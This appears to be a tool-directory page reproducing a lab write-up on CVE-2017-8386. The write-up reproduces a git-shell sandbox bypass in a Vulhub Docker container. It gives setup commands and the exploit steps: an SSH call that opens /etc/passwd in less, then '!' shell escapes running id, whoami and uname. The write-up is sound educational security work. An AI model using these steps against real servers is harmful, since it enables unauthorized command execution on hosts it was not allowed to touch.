Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WHS3_vulhub — PoC for CVE-2017-8386 Git-Shell sandbox bypass vulnerability. | Kitploit
Tools/GitHubGitHub/suz1n/whs3_vulhub
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsuz1n/whs3_vulhub

WHS3_vulhub

PoC for CVE-2017-8386 Git-Shell sandbox bypass vulnerability.

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC

정수진(@suz1n)

Overview

Git-shell provides an environment that only allows restricted git commands via SSH. However, in specific versions of git-shell (such as 2.12.2), a vulnerability (CVE-2017-8386) exists that exploits the less command to bypass the sandbox and execute system commands.

This report documents the PoC process for this vulnerability and summarizes the steps.

Environment Setup

Tools and Versions Used

  • Docker: 24.0.7
  • Docker-Compose: v2.34.0
  • Host OS: macOS
  • Target OS: Ubuntu 16.04 (inside container)
  • Git Version: 2.12.2
  • SSH Server

Clone Vulhub Repository

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/ Image1

docker-compose.yml and Dockerfile Configuration

root@kitploit:~
• Ubuntu 16.04 base image
• Git 2.12.2 source installation
• OpenSSH server installation and execution
• git-shell environment setup (create git user)

Build and Run Container

docker-compose build

docker-compose up -d

docker ps

root@kitploit:~
• Verify container is running (git-shell-cve-2017-8386)

Image2

SSH Key Registration and Environment Setup

root@kitploit:~
1. Generate and copy id_rsa.pub locally
2. Access the container and switch to the git user
3. Register authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Image3

Install Additional Packages

apt update

apt install less -y

apt install man-db -y

root@kitploit:~
• Installed less and man packages for PoC execution

PoC Process

Normal SSH Connection

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• Successfully entered less screen

• Able to execute system commands via ! command

Command Execution (Sandbox Bypass)

• !id -> Display user ID and group ID first_execute.png

• !whoami -> Current user (git)

• !uname -a -> Display system kernel information

• !ls /home/git -> List files in git home directory

Analysis

root@kitploit:~
• The git-shell environment restricts users from executing system commands.
• However, it is possible to invoke less internally via the `git-upload-archive --help` command.
• The less command supports executing system shell commands through the ! function.
• As a result, arbitrary command execution is possible by bypassing the git-shell sandbox.

References

• Insinuator Blog: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Vulhub GitHub Repository: https://github.com/phith0n/vulhub

GitHub Repository Link

https://github.com/suz1n/WHS3_vulhub

Download Tool